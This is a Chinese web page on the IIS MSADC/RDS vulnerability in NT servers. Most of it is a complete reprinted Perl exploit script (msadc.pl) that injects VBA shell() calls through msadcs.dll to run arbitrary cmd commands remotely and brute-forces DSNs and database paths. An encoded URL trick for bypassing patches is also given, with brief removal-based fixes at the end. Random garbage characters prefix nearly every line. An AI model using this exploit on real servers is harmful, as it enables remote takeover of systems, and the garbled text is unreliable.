IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\kZ? W)bLSL]`E 涉及程序:
hv?9*tLh0 Microsoft NT server
{tWf ^~etm 描述:
')cMiX\v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9iQq.$A . F%RRd/' 详细:
|!4K!_y 如果你没有时间读详细内容的话,就删除:
o4Om}]Ti c:\Program Files\Common Files\System\Msadc\msadcs.dll
c24dSNJg, 有关的安全问题就没有了。
(JOgy.5C~ I`!<9OTBj 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
DW[N|-L Vh4X%b$TV 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
BI%$c~wS 关于利用ODBC远程漏洞的描述,请参看:
H:V2[y8\ *_d7E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X9V *UXTc ;>Ib^ov 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[MUpxOAsd http://www.microsoft.com/security/bulletins/MS99-025faq.asp uI )6M ) AvN\sC 这里不再论述。
?Wlb3; ,
K~}\CR 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
{ttysQ- te-jfmu2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
J| w>a 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\| 8 Wi)_H$KII .[ICx #将下面这段保存为txt文件,然后: "perl -x 文件名"
1G^`-ri6 Hquc
o #!perl
bKMy|_ #
Hx?;fl'G% # MSADC/RDS 'usage' (aka exploit) script
X aMJDa|M #
W_"sM0
w # by rain.forest.puppy
g,!L$,/F #
?Lk)gO^C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5@~
Q^r:% # beta test and find errors!
V2wb%;q M /"I2m
use Socket; use Getopt::Std;
s Z].8. getopts("e:vd:h:XR", \%args);
r7%I n^k "ut39si print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z7fp#>uw Jdj2~pTq if (!defined $args{h} && !defined $args{R}) {
#Lh;CSS print qq~
*XIF)Q=<> Usage: msadc.pl -h <host> { -d <delay> -X -v }
kaVxT_ -h <host> = host you want to scan (ip or domain)
ivJ@=pd)B -d <seconds> = delay between calls, default 1 second
|v3T! -X = dump Index Server path table, if available
v dc\R? -v = verbose
gCB |DY -e = external dictionary file for step 5
x??+~$}\*- | ATvS2 Or a -R will resume a command session
B|C2lu c(xrP/yOwi ~; exit;}
Ng2twfSl$ Z 2V.3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
52Z2]T
c, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Yg||{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Ga^"1TZ x if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
iu=7O $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,/Z%@-rF if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;n*.W|Uph 0ypNUG} if (!defined $args{R}){ $ret = &has_msadc;
ymhtX6] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qN9(S:_Px Kqb#_hm print "Please type the NT commandline you want to run (cmd /c assumed):\n"
y51e%n$ . "cmd /c ";
NJWA3zz
$in=<STDIN>; chomp $in;
DEKP5?] $command="cmd /c " . $in ;
Z>k#n'm^z "o-zy'I if (defined $args{R}) {&load; exit;}
$r@zs'N 6]WAUK%h print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
98IJu &try_btcustmr;
-b9\=U[ R'as0 u\ print "\nStep 2: Trying to make our own DSN...";
SJn;{X>)q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[}E='m}u9+
M^=zt print "\nStep 3: Trying known DSNs...";
On9A U:\ &known_dsn;
6*78cg Io FXG]LoP print "\nStep 4: Trying known .mdbs...";
"c%0P"u &known_mdb;
F rfM3x6UM gwuI-d^ if (defined $args{e}){
o,\$ZxSlm print "\nStep 5: Trying dictionary of DSN names...";
:+^lJ&{U &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*K8$eDNZ hd%Fnykq print "Sorry Charley...maybe next time?\n";
'}53f2%gKa exit;
?jv/TBZX4 $]/{[@5 ##############################################################################
N2^=E1|_ c <B/V0] sub sendraw { # ripped and modded from whisker
MzdV2. sleep($delay); # it's a DoS on the server! At least on mine...
_^Ubs>d=* my ($pstr)=@_;
99e.n0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/$Nsd die("Socket problems\n");
5IGX5x if(connect(S,pack "SnA4x8",2,80,$target)){
C!<Ou6}!b select(S); $|=1;
XPXIg print $pstr; my @in=<S>;
)4 e.k$X^ select(STDOUT); close(S);
_YhES-Ff return @in;
l` lk-nb } else { die("Can't connect...\n"); }}
{T$9?`h~M tTl%oN8Qw ##############################################################################
y@S$^jk. U`(ee*}o sub make_header { # make the HTTP request
k_#ak%m/ my $msadc=<<EOT
t%0VJB,Q2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tKOmoC User-Agent: ACTIVEDATA
{L{o]Ii?g Host: $ip
1hY{k{+o Content-Length: $clen
HmGWht6R Connection: Keep-Alive
%v
M-mbX Ju@c~Xm ADCClientVersion:01.06
EH J.T~X Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t\dN DS :D5Rlfj --!ADM!ROX!YOUR!WORLD!
L\J;J%fz. Content-Type: application/x-varg
b|:YIXml Content-Length: $reqlen
~g]Vw4pv I3L<[-ZE EOT
zj{pJOM06 ; $msadc=~s/\n/\r\n/g;
gD@){Ip return $msadc;}
lgL%u K) BA:VPTZq ##############################################################################
xef% d
G. r(TIw%L$ sub make_req { # make the RDS request
,]F,Uu_H7 my ($switch, $p1, $p2)=@_;
WaRw05r my $req=""; my $t1, $t2, $query, $dsn;
76{G'}B Jq-]7N%k/ if ($switch==1){ # this is the btcustmr.mdb query
\;Biq` $query="Select * from Customers where City=" . make_shell();
B6DYZ+7A $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~Fcm[eoC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!c
Hum k(nW#*N_ elsif ($switch==2){ # this is general make table query
q6luUx,@m $query="create table AZZ (B int, C varchar(10))";
_1\v $dsn="$p1";}
_
]ipajT +SU8 +w elsif ($switch==3){ # this is general exploit table query
7&)bJ@1U $query="select * from AZZ where C=" . make_shell();
eu-*?]&Di $dsn="$p1";}
[q[Y~1o/&H P/eeC" elsif ($switch==4){ # attempt to hork file info from index server
}j)e6>K]) $query="select path from scope()";
97*p+T<yp $dsn="Provider=MSIDXS;";}
&DX! f ~TD0zAA& elsif ($switch==5){ # bad query
<)H9V-5aZ $query="select";
~qKY) "gG $dsn="$p1";}
0v?"tOT! %J?xRv! $t1= make_unicode($query);
Ffz,J6b $t2= make_unicode($dsn);
JX;G<lev $req = "\x02\x00\x03\x00";
FDs>m
#e $req.= "\x08\x00" . pack ("S1", length($t1));
)Nw8O{\ $req.= "\x00\x00" . $t1 ;
YK'<NE3 4 $req.= "\x08\x00" . pack ("S1", length($t2));
n b?lTX~ $req.= "\x00\x00" . $t2 ;
+7.',@8_V $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|0b`fOS return $req;}
I+!0 O kgP0x-Ap ##############################################################################
aB&&YlR=n< f}P3O3Yv& sub make_shell { # this makes the shell() statement
:g0zT[f return "'|shell(\"$command\")|'";}
uo8YP<q jV1.Yz(` ##############################################################################
EV%gF R&k<AZ sub make_unicode { # quick little function to convert to unicode
\ Gvm9M my ($in)=@_; my $out;
8Fu(Ft^9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ea
'D td return $out;}
^}o 2 !l8PDjAE ##############################################################################
L#sMSVC+ :DNY7TvZ sub rdo_success { # checks for RDO return success (this is kludge)
0S!K{xyR my (@in) = @_; my $base=content_start(@in);
,#9PxwrO if($in[$base]=~/multipart\/mixed/){
@qAS*3j return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;?p>e' return 0;}
V**~m9f S4z;7z(8+ ##############################################################################
Why`ziks p_%Rt"! sub make_dsn { # this makes a DSN for us
pl?`8@dI my @drives=("c","d","e","f");
hHnYtq print "\nMaking DSN: ";
}19\.z&J foreach $drive (@drives) {
\_f(M| print "$drive: ";
n{mfn*r. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+ye3HGD "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?Z/V~, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
n/:33DAB $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eD6fpe\( return 0 if $2 eq "404"; # not found/doesn't exist
@*((1(q if($2 eq "200") {
Qp3_f8 foreach $line (@results) {
OQJ6e:BGt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q@8*Xa > } return 0;}
jQB9j Tyx_/pJT ##############################################################################
/82b S| s.C_Zf~3 sub verify_exists {
aqk!T%fg my ($page)=@_;
UZ+<\+q3^ my @results=sendraw("GET $page HTTP/1.0\n\n");
M .mfw#* return $results[0];}
D'Q\za EaN6^S= ##############################################################################
ZUd-<y r;N|) sub try_btcustmr {
u'BaKWPS my @drives=("c","d","e","f");
(*iHf"=\ my @dirs=("winnt","winnt35","winnt351","win","windows");
1=V-V< 3a'<*v<xw foreach $dir (@dirs) {
MQ6KN(?\ZL print "$dir -> "; # fun status so you can see progress
SwMc
pNo foreach $drive (@drives) {
wnC81$1l~ print "$drive: "; # ditto
q(84+{>B $reqlen=length( make_req(1,$drive,$dir) ) - 28;
fNFY$:4X $reqlenlen=length( "$reqlen" );
&%J08l6 $clen= 206 + $reqlenlen + $reqlen;
X'iWJ8 f.)O2= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.?$gpM?i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$=4QO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W'M*nR|xo Ysv"
6b} ##############################################################################
vdwsJPFbc Gk6iIK sub odbc_error {
>z@0.pN]7 my (@in)=@_; my $base;
jse&DQ my $base = content_start(@in);
S)@j6(HC4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
sQZhXaMa $ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9G2FsM|, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I; rGD^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c]!V'#U return $in[$base+4].$in[$base+5].$in[$base+6];}
WH^%:4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
nU7[c| = print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
EADqC> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
w``U=sfmV {)sdiE ##############################################################################
Qo|\-y-# PCtzl) sub verbose {
k!Y, 63V= my ($in)=@_;
7@W>E;go return if !$verbose;
H<+TR6k< print STDOUT "\n$in\n";}
Xsa]. cw
<l{A ##############################################################################
3=oDQ&UFt Jln:`!#fDf sub save {
jnwu9PQ my ($p1, $p2, $p3, $p4)=@_;
TB31-
() open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^U/O!GK print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ZbKg~jdF close OUT;}
`Urhy#LC FGzwhgy ##############################################################################
0w7DsPdS ?}Y]|c^W sub load {
oQJtUP% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
pd$[8Rmj_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a d\ot#V @p=<IN>; close(IN);
4_ML],. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6_B]MN!( $target= inet_aton($ip) || die("inet_aton problems");
,PDQzJY print "Resuming to $ip ...";
MF'JeM;H $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8 LCb+^ if($p[1]==1) {
kyV8K#}%8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"#g}ve, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
E!F^H^~$8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&UFZS94@r if (rdo_success(@results)){print "Success!\n";}
~wdGd+ez else { print "failed\n"; verbose(odbc_error(@results));}}
cU elsif ($p[1]==3){
{_*yGK48n if(run_query("$p[3]")){
)t%b838l% print "Success!\n";} else { print "failed\n"; }}
\Vk:93OH21 elsif ($p[1]==4){
n+R7D.<q!! if(run_query($drvst . "$p[3]")){
.e-#yET print "Success!\n"; } else { print "failed\n"; }}
|DwZ{(R"W exit;}
eyxW 0}[ #O&8A ##############################################################################
Pg{J{gn m]&SN z= sub create_table {
t6t!t*jO my ($in)=@_;
7d\QB(~ $reqlen=length( make_req(2,$in,"") ) - 28;
K(|}dl: $reqlenlen=length( "$reqlen" );
@O~pV`_tD $clen= 206 + $reqlenlen + $reqlen;
nJ;.Td my @results=sendraw(make_header() . make_req(2,$in,""));
.6J$,.Ig return 1 if rdo_success(@results);
_Z\G5x my $temp= odbc_error(@results); verbose($temp);
qe\5m.k return 1 if $temp=~/Table 'AZZ' already exists/;
$/ ],tSm return 0;}
|uJ%5y# Dha1/g1q ##############################################################################
~$J2g ia?
c0xL sub known_dsn {
[G3E%z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
yt2PU_), my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RM/ 0A| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fN2lLn9/u "banner", "banners", "ads", "ADCDemo", "ADCTest");
CvdN"k -:rUw$3J foreach $dSn (@dsns) {
wuo,kM print ".";
8FhdN next if (!is_access("DSN=$dSn"));
iURe( [@ if(create_table("DSN=$dSn")){
!<h)w#>en print "$dSn successful\n";
xyxy`qR A if(run_query("DSN=$dSn")){
@(lh%@hO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7|H$ /] print "Something's borked. Use verbose next time\n";}}} print "\n";}
}QmqoCAE~m _u Il ##############################################################################
xYB{;K nr3==21Om4 sub is_access {
`GLx#=Q my ($in)=@_;
1.>m@Slr> $reqlen=length( make_req(5,$in,"") ) - 28;
ptaKf4P^r $reqlenlen=length( "$reqlen" );
lLIAw$ $clen= 206 + $reqlenlen + $reqlen;
@}ZVtrz my @results=sendraw(make_header() . make_req(5,$in,""));
6dYMwMH my $temp= odbc_error(@results);
"Y.y:Vv; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
jiC>d@~y return 0;}
v` r:=K 5IG-~jzCLb ##############################################################################
(V@HR9?W) 4&iCht
= sub run_query {
vKR[&K{Z| my ($in)=@_;
y_[vr:s5pG $reqlen=length( make_req(3,$in,"") ) - 28;
")25
qZae $reqlenlen=length( "$reqlen" );
S|}L &A $clen= 206 + $reqlenlen + $reqlen;
E(|>Ddv B& my @results=sendraw(make_header() . make_req(3,$in,""));
i-&yH return 1 if rdo_success(@results);
t`QENXA} my $temp= odbc_error(@results); verbose($temp);
Bbp|!+KP{( return 0;}
TsZ@ i@'dH3-kO
##############################################################################
S]{oPc[7 K>
e7pu sub known_mdb {
>R=|Wo`Ri my @drives=("c","d","e","f","g");
FiU#T.`9' my @dirs=("winnt","winnt35","winnt351","win","windows");
3gf1ownC my $dir, $drive, $mdb;
| f##5fB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%
u6Sr5A[s b`_Q8 J # this is sparse, because I don't know of many
paMa+jhQQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
FgO)DQm "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_vZOZKS+ "\\system32\\certmdb.mdb",
IGN1gs "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
B/C,.?Or ,+ ~W4<f my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I}Q2Vu< "\\cfusion\\cfapps\\forums\\forums_.mdb",
T9& 1VW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3uMy]HUQ "\\cfusion\\cfapps\\security\\realm_.mdb",
DTs;{c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}~q5w{_n "\\cfusion\\database\\cfexamples.mdb",
BerwI
7!= "\\cfusion\\database\\cfsnippets.mdb",
K|@G t%Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2Rz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
QS j]ZA "\\cfusion\\brighttiger\\database\\cleam.mdb",
L%5%T;0'~ "\\cfusion\\database\\smpolicy.mdb",
\j.:3Xr "\\cfusion\\database\cypress.mdb",
@ .KGfNu "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-']56o_sQ/ "\\website\\cgi-win\\dbsample.mdb",
^C%<l(b "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
ctV,Q3'Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QCJM& ); #these are just
I?NyM foreach $drive (@drives) {
DL.!G foreach $dir (@dirs){
?1".;foZ foreach $mdb (@sysmdbs) {
B1Oq!k print ".";
*|l/6!WM if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U;I9 bK8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^}C\zW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-.3w^D"l print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
uVU)d1N } else { print "Something's borked. Use verbose next time\n"; }}}}}
nF/OPd ~_ a-E foreach $drive (@drives) {
Er[A X.3 foreach $mdb (@mdbs) {
J-4:H
gx print ".";
'W#D(l9nI if(create_table($drv . $drive . $dir . $mdb)){
1nOCQ\$l print "\n" . $drive . $dir . $mdb . " successful\n";
/Q )\ + if(run_query($drv . $drive . $dir . $mdb)){
3ANQaUC print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
A(N4N } else { print "Something's borked. Use verbose next time\n"; }}}}
\di= }
RGX=) c"xK`%e ##############################################################################
h7 I{
4 E!AE4B1bd sub hork_idx {
u]gxFG"
print "\nAttempting to dump Index Server tables...\n";
{_dvx*M print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
i@CxI<1' $reqlen=length( make_req(4,"","") ) - 28;
L.WljNo $reqlenlen=length( "$reqlen" );
39jG8zr=Z[ $clen= 206 + $reqlenlen + $reqlen;
-{+}@? my @results=sendraw2(make_header() . make_req(4,"",""));
l@:0e]8|o if (rdo_success(@results)){
V1JIht>Opo my $max=@results; my $c; my %d;
.{KVMc for($c=19; $c<$max; $c++){
Lh<).<S $results[$c]=~s/\x00//g;
6 aV_@no.C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
hpJ-r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
PYzvCf`? $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
&VcV$8k $d{"$1$2"}="";}
]+$?u&0?w foreach $c (keys %d){ print "$c\n"; }
W}1
;Z(.* } else {print "Index server doesn't seem to be installed.\n"; }}
Tb-F]lg$ .}*"Nv ##############################################################################
snikn& i 3SHg\~Z sub dsn_dict {
2:= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,v&(Y Od while(<IN>){
4Z,!zFS$` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_-F s#f8 next if (!is_access("DSN=$dSn"));
o8vug$=Z if(create_table("DSN=$dSn")){
IqGdfL6[( print "$dSn successful\n";
A +)`ZTuO if(run_query("DSN=$dSn")){
2Wb]4- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
F}qc0 print "Something's borked. Use verbose next time\n";}}}
Hq 188< print "\n"; close(IN);}
5PnDN\ k;L6R!V ##############################################################################
:,I:usW" !Rt>xD sub sendraw2 { # ripped and modded from whisker
V2G6Kw9gt sleep($delay); # it's a DoS on the server! At least on mine...
]$_NyAoBb my ($pstr)=@_;
kSh( u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?F;8Pa/ die("Socket problems\n");
!v0LBe4 if(connect(S,pack "SnA4x8",2,80,$target)){
/FJu)H..U print "Connected. Getting data";
})?GzblI& open(OUT,">raw.out"); my @in;
= 9]~yt select(S); $|=1; print $pstr;
B93+BwN>95 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
vZoaT|3
G] close(OUT); select(STDOUT); close(S); return @in;
0K2`-mL } else { die("Can't connect...\n"); }}
L,@lp xZv#Es%# ##############################################################################
?3xzd P jalg5`PU0 sub content_start { # this will take in the server headers
@|%2f@h my (@in)=@_; my $c;
D5HZ2cz|a for ($c=1;$c<500;$c++) {
"FKOaQ%IH if($in[$c] =~/^\x0d\x0a/){
@{O`E^}-D if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
E\,-XH else { return $c+1; }}}
1y4 return -1;} # it should never get here actually
^`>/.gL $p?aVO ##############################################################################
%|i`kYsy ^ovR7+V sub funky {
Y.r+wc] my (@in)=@_; my $error=odbc_error(@in);
`$C
n~dT if($error=~/ADO could not find the specified provider/){
8pgEix/M5o print "\nServer returned an ADO miscofiguration message\nAborting.\n";
(*)hD(C5 exit;}
5o8EC"
0 if($error=~/A Handler is required/){
{jX2} print "\nServer has custom handler filters (they most likely are patched)\n";
Oo%d]8W exit;}
%- 0t?/> if($error=~/specified Handler has denied Access/){
A$:U'ZG_ print "\nServer has custom handler filters (they most likely are patched)\n";
w:Kl6"c exit;}}
q#=(e:aCb NPe%F+X ##############################################################################
4Wm@W E Tyf`j,= sub has_msadc {
7VF LJrt my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
YVanW my $base=content_start(@results);
'y3!fN=h return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ITT@, return 0;}
OH(waKq2I ;VO:ph4Aj ########################
<<R*2b kq,ucU%>p e&aWq@D 解决方案:
r?
E)obE 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Da&]y 2、移除web 目录: /msadc